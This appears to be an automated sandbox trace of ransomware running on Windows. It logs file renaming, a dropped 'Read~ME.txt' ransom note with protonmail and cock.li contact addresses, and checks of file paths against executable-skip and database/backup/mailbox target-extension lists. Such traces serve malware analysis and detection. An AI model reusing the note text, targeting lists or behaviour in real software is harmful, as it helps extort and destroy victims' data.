	[0066.953] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.953] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.953] CloseHandle (hObject=0x120) returned 1
	[0066.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0066.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.~~~~")) returned 1
	[0066.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0066.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0066.957] GetLastError () returned 0x0
	[0066.957] SetLastError (dwErrCode=0x0) 
	[0066.957] GetLastError () returned 0x0
	[0066.958] SetLastError (dwErrCode=0x0) 
	[0066.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0066.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0066.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0066.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0066.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0066.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0066.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0066.959] RtlWakeConditionVariable () returned 0x365f70
	[0066.961] GetCurrentThreadId () returned 0x3a4
	[0066.961] GetCurrentThreadId () returned 0x3a4
	[0066.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0066.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0066.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dce8 | out: hHeap=0x300000) returned 1
	[0066.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6dc0
	[0066.961] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0066.962] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0066.962] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0066.963] CloseHandle (hObject=0x120) returned 1
	[0066.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0066.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0066.963] RtlWakeConditionVariable () returned 0x365f70
	[0066.963] GetCurrentThreadId () returned 0x3a4
	[0067.073] GetCurrentThreadId () returned 0x3a4
	[0067.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0067.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ed00 | out: hHeap=0x300000) returned 1
	[0067.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0067.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.163] lstrlenW (lpString=".scr") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0067.163] lstrlenW (lpString=".cmd") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0067.163] lstrlenW (lpString=".dll") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0067.163] lstrlenW (lpString=".bat") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0067.163] lstrlenW (lpString=".cpl") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0067.163] lstrlenW (lpString=".sys") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0067.163] lstrlenW (lpString=".msc") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0067.163] lstrlenW (lpString=".com") returned 4
	[0067.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0067.164] lstrlenW (lpString=".lnk") returned 4
	[0067.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0067.164] lstrlenW (lpString=".msp") returned 4
	[0067.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0067.168] lstrlenW (lpString=".pif") returned 4
	[0067.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0067.198] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0067.198] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0067.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0067.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0067.198] RtlWakeConditionVariable () returned 0x365f70
	[0067.198] GetCurrentThreadId () returned 0x3a4
	[0067.198] GetCurrentThreadId () returned 0x3a4
	[0067.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0067.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa698 | out: hHeap=0x300000) returned 1
	[0067.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de00 | out: hHeap=0x300000) returned 1
	[0067.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0067.198] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0067.199] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0067.199] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0067.200] CloseHandle (hObject=0x120) returned 1
	[0067.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0067.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0067.201] RtlWakeConditionVariable () returned 0x365f70
	[0067.201] GetCurrentThreadId () returned 0x3a4
	[0067.201] GetCurrentThreadId () returned 0x3a4
	[0067.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0067.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa888 | out: hHeap=0x300000) returned 1
	[0067.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c9d0 | out: hHeap=0x300000) returned 1
	[0067.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0067.201] lstrlenW (lpString=".scr") returned 4
	[0067.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".scr") returned 0x0
	[0067.201] lstrlenW (lpString=".cmd") returned 4
	[0067.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".cmd") returned 0x0
	[0067.201] lstrlenW (lpString=".dll") returned 4
	[0067.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dll") returned 0x0
	[0067.202] lstrlenW (lpString=".bat") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".bat") returned 0x0
	[0067.202] lstrlenW (lpString=".cpl") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".cpl") returned 0x0
	[0067.202] lstrlenW (lpString=".sys") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".sys") returned 0x0
	[0067.202] lstrlenW (lpString=".msc") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".msc") returned 0x0
	[0067.202] lstrlenW (lpString=".com") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".com") returned 0x0
	[0067.202] lstrlenW (lpString=".lnk") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".lnk") returned 0x0
	[0067.202] lstrlenW (lpString=".msp") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".msp") returned 0x0
	[0067.202] lstrlenW (lpString=".pif") returned 4
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".pif") returned 0x0
	[0067.202] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0067.202] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0067.349] lstrlenW (lpString=".sqb") returned 4
	[0067.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".sqb") returned 0x0
	[0067.355] lstrlenW (lpString=".ost") returned 4
	[0067.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".ost") returned 0x0
	[0067.373] lstrlenW (lpString=".txt") returned 4
	[0067.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".txt") returned 0x0
	[0067.373] lstrlenW (lpString=".mdt") returned 4
	[0067.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".mdt") returned 0x0
	[0067.373] lstrlenW (lpString=".BDB") returned 4
	[0067.373] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".BDB") returned 0x0
	[0067.374] lstrlenW (lpString=".eql") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".eql") returned 0x0
	[0067.374] lstrlenW (lpString=".DBF") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DBF") returned 0x0
	[0067.374] lstrlenW (lpString=".EQL") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".EQL") returned 0x0
	[0067.374] lstrlenW (lpString=".FDB") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".FDB") returned 0x0
	[0067.374] lstrlenW (lpString=".EDB") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".EDB") returned 0x0
	[0067.374] lstrlenW (lpString=".DACPAC") returned 7
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DACPAC") returned 0x0
	[0067.374] lstrlenW (lpString=".VHD") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".VHD") returned 0x0
	[0067.374] lstrlenW (lpString=".DBV") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DBV") returned 0x0
	[0067.374] lstrlenW (lpString=".dacpac") returned 7
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dacpac") returned 0x0
	[0067.374] lstrlenW (lpString=".sdf") returned 4
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".sdf") returned 0x0
	[0067.374] lstrlenW (lpString=".accdb") returned 6
	[0067.374] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".accdb") returned 0x0
	[0067.375] lstrlenW (lpString=".DBX") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DBX") returned 0x0
	[0067.375] lstrlenW (lpString=".MDT") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".MDT") returned 0x0
	[0067.375] lstrlenW (lpString=".SQB") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".SQB") returned 0x0
	[0067.375] lstrlenW (lpString=".vhd") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".vhd") returned 0x0
	[0067.375] lstrlenW (lpString=".bac") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".bac") returned 0x0
	[0067.375] lstrlenW (lpString=".mdf") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".mdf") returned 0x0
	[0067.375] lstrlenW (lpString=".BAK") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".BAK") returned 0x0
	[0067.375] lstrlenW (lpString=".BAC") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".BAC") returned 0x0
	[0067.375] lstrlenW (lpString=".dbs") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dbs") returned 0x0
	[0067.375] lstrlenW (lpString=".vhdx") returned 5
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".vhdx") returned 0x0
	[0067.375] lstrlenW (lpString=".NDF") returned 4
	[0067.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".NDF") returned 0x0
	[0067.376] lstrlenW (lpString=".dat") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dat") returned 0x0
	[0067.376] lstrlenW (lpString=".DBS") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DBS") returned 0x0
	[0067.376] lstrlenW (lpString=".CKP") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".CKP") returned 0x0
	[0067.376] lstrlenW (lpString=".edb") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".edb") returned 0x0
	[0067.376] lstrlenW (lpString=".PST") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".PST") returned 0x0
	[0067.376] lstrlenW (lpString=".dbf") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dbf") returned 0x0
	[0067.376] lstrlenW (lpString=".SQL") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".SQL") returned 0x0
	[0067.376] lstrlenW (lpString=".pst") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".pst") returned 0x0
	[0067.376] lstrlenW (lpString=".dbv") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dbv") returned 0x0
	[0067.376] lstrlenW (lpString=".SDF") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".SDF") returned 0x0
	[0067.376] lstrlenW (lpString=".dtxs") returned 5
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dtxs") returned 0x0
	[0067.376] lstrlenW (lpString=".db3") returned 4
	[0067.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".db3") returned 0x0
	[0067.377] lstrlenW (lpString=".OST") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".OST") returned 0x0
	[0067.377] lstrlenW (lpString=".dbx") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".dbx") returned 0x0
	[0067.377] lstrlenW (lpString=".DB3") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DB3") returned 0x0
	[0067.377] lstrlenW (lpString=".DAT") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DAT") returned 0x0
	[0067.377] lstrlenW (lpString=".VHDX") returned 5
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".VHDX") returned 0x0
	[0067.377] lstrlenW (lpString=".ndf") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".ndf") returned 0x0
	[0067.377] lstrlenW (lpString=".DB") returned 3
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DB") returned 0x0
	[0067.377] lstrlenW (lpString=".sql") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".sql") returned 0x0
	[0067.377] lstrlenW (lpString=".MYD") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".MYD") returned 0x0
	[0067.377] lstrlenW (lpString=".DBT") returned 4
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DBT") returned 0x0
	[0067.377] lstrlenW (lpString=".ACCDB") returned 6
	[0067.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".ACCDB") returned 0x0
	[0067.377] lstrlenW (lpString=".fdb") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".fdb") returned 0x0
	[0067.378] lstrlenW (lpString=".bak") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".bak") returned 0x0
	[0067.378] lstrlenW (lpString=".myd") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".myd") returned 0x0
	[0067.378] lstrlenW (lpString=".DTXS") returned 5
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".DTXS") returned 0x0
	[0067.378] lstrlenW (lpString=".ckp") returned 4
	[0067.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab", lpSrch=".ckp") returned 0x0
	[0067.378] lstrlenW (lpString=".dbt") returned 4
